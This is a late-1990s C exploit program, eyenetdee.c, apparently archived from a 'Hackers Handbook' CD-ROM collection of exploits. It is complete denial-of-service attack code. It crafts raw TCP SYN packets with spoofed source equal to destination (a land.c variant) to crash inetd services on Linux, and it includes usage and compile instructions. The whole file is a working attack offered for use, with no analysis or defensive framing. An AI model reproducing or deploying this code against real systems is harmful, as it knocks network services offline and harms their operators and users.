home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / eyenetdee.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-15  |  5.4 KB  |  195 lines

  1. /*  eyenetdee.c */
  2.  
  3. /*  eyenetdee.c
  4.  
  5.     - discovered by catatonic dismay dismay@cascadia.ssc.com
  6.     - coded by issue issue@technotronic.com
  7.  
  8.     this little program exploits inetd services. currently the only linux
  9.     distribution that was immune to this was debian (atleast my box).
  10.     we really didn't test this on too many other operating systems other
  11.     then linux, but im almost positive it may work on others.
  12.  
  13.     what it does: by sending a (small) syn flood to a host coming from the
  14.                   host (localhost to localhost), it causes the service to
  15.           shutdown (seems to be only for about 20 minutes before
  16.                   it restarts.
  17.  
  18.     tested on:      redhat, slackware, debian - (linux)
  19.  
  20.     worked on:
  21.           redhat, slackware - there is more im sure, we didn't
  22.           bother testing on them though :/
  23.  
  24.     note: this is totally ripped from land.c, i had attentions of cleaning
  25.           it up abit, but instead i said fuck it, so it's messy, big deal.
  26.    
  27.     compile: gcc -o eyenetdee eyenetdee.c
  28. */
  29.  
  30. #include <stdio.h>
  31. #include <netdb.h>
  32. #include <arpa/inet.h>
  33. #include <stdlib.h>
  34. #include <netinet/in.h>
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <netinet/ip.h>
  38. #include <netinet/ip_tcp.h>
  39. #include <netinet/protocols.h>
  40.  
  41. /* variables */
  42. int     count, x;
  43. int     twirl = 3;
  44. int     countstr = 0;
  45. int     sock;
  46.  
  47. /* prototypes */
  48. int     twirly(int *twirl);
  49. void    usage(char *argv[]);
  50. int     main(int argc, char *argv[]);
  51.  
  52. /* structures */
  53. struct     pseudohdr
  54. {
  55.         struct in_addr saddr;
  56.         struct in_addr daddr;
  57.         u_char zero;
  58.         u_char protocol;
  59.         u_short length;
  60.         struct tcphdr tcpheader;
  61. };
  62.  
  63. u_short checksum(u_short * data,u_short length)
  64. {
  65.         register long value;
  66.         u_short i;
  67.  
  68.         for(i=0;i<(length>>1);i++)
  69.                 value+=data[i];
  70.  
  71.         if((length&1)==1)
  72.                 value+=(data[i]<<8);
  73.  
  74.         value=(value&65535)+(value>>16);
  75.  
  76.         return(~value);
  77. }
  78.  
  79. /* let the fun begin */
  80. int     main(int argc, char *argv[])
  81. {
  82.         fprintf(stderr,"eyenetdee.c by issue|catatonic dismay\ncode ripped from land.c by m3lt\n");
  83.  
  84.         if(argc < 4)
  85.         {
  86.             usage(argv);
  87.         }
  88.  
  89.     
  90.         for (x = 0; x <= count; x++)
  91.         {
  92.             struct sockaddr_in sin;
  93.             struct hostent * hn;
  94.             char buffer[40];
  95.             struct iphdr * ipheader=(struct iphdr *) buffer; 
  96.         struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
  97.             struct pseudohdr pseudoheader;
  98.  
  99.             count=(atoi(argv[3]));
  100.  
  101.             bzero(&sin,sizeof(struct sockaddr_in));
  102.             sin.sin_family=AF_INET;
  103.     
  104.         /*  check target */
  105.             if((hn=gethostbyname(argv[1]))!=NULL)
  106.                     bcopy(hn->h_addr,&sin.sin_addr,hn->h_length);
  107.             else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  108.             {
  109.                     fprintf(stderr,"unknown host %s\n",argv[1]);
  110.                     return(-1);
  111.             }
  112.         
  113.             if((sin.sin_port=htons(atoi(argv[2])))==0)
  114.             {
  115.                     fprintf(stderr,"unknown port %s\n",argv[2]);
  116.                     return(-1);
  117.             }
  118.  
  119.             if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
  120.             {
  121.                     fprintf(stderr,"couldn't allocate raw socket\n");
  122.                     return(-1);
  123.             }
  124.  
  125.             bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
  126.                ipheader->version=4;
  127.             ipheader->ihl=sizeof(struct iphdr)/4;
  128.             ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
  129.             ipheader->id=htons(0xF1C);
  130.             ipheader->ttl=255;
  131.             ipheader->protocol=IP_TCP;
  132.             ipheader->saddr=sin.sin_addr.s_addr;
  133.             ipheader->daddr=sin.sin_addr.s_addr;
  134.  
  135.             tcpheader->th_sport=sin.sin_port;
  136.             tcpheader->th_dport=sin.sin_port;
  137.             tcpheader->th_seq=htonl(0xF1C);
  138.             tcpheader->th_flags=TH_SYN;
  139.             tcpheader->th_off=sizeof(struct tcphdr)/4;
  140.             tcpheader->th_win=htons(2048);
  141.  
  142.             bzero(&pseudoheader,12+sizeof(struct tcphdr));
  143.             pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
  144.             pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  145.             pseudoheader.protocol=6;
  146.             pseudoheader.length=htons(sizeof(struct tcphdr));
  147.             bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
  148.             tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  149.  
  150.         /*  failed */
  151.             if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
  152.             {
  153.                     fprintf(stderr,"couldn't send packet\n");
  154.                     return(-1);
  155.             }
  156.  
  157.         /*  just purdy stuff */
  158.             fprintf(stderr, "\rsending packet: %d (%c)", x, twirly(&twirl));
  159.         if (count <= 200)
  160.                             usleep(1500*(10));
  161.                     else
  162.                             usleep(700*(10));
  163.     }
  164.     
  165.     /*  finished with the kiddie quest */
  166.         fprintf(stderr, "\rsending packet: %d (hey kiddie, quit that shit!)",--x);
  167.            printf("\n");
  168.  
  169.     
  170.            close(sock);
  171.  
  172.      /*  done so we wont reach the end of a non-void function */
  173.            exit(0);
  174. }
  175.  
  176. int     twirly(int *twirl)
  177. {
  178.         if (*twirl > 3) *twirl = 0;
  179.         switch ((*twirl)++)
  180.         {
  181.                 case 0: return('|'); break; case 1: return('/'); break;
  182.                 case 2: return('-'); break; case 3: return('\\'); break;
  183.         }
  184.         return(0);
  185. }
  186.  
  187. /* for the retards */
  188. void    usage(char *argv[])
  189. {
  190.         printf("usage: %s [dst_ip] [port_number] [how_many]\n",argv[0]);
  191.         exit(0);
  192. }
  193.  
  194. /* EOF */
  195.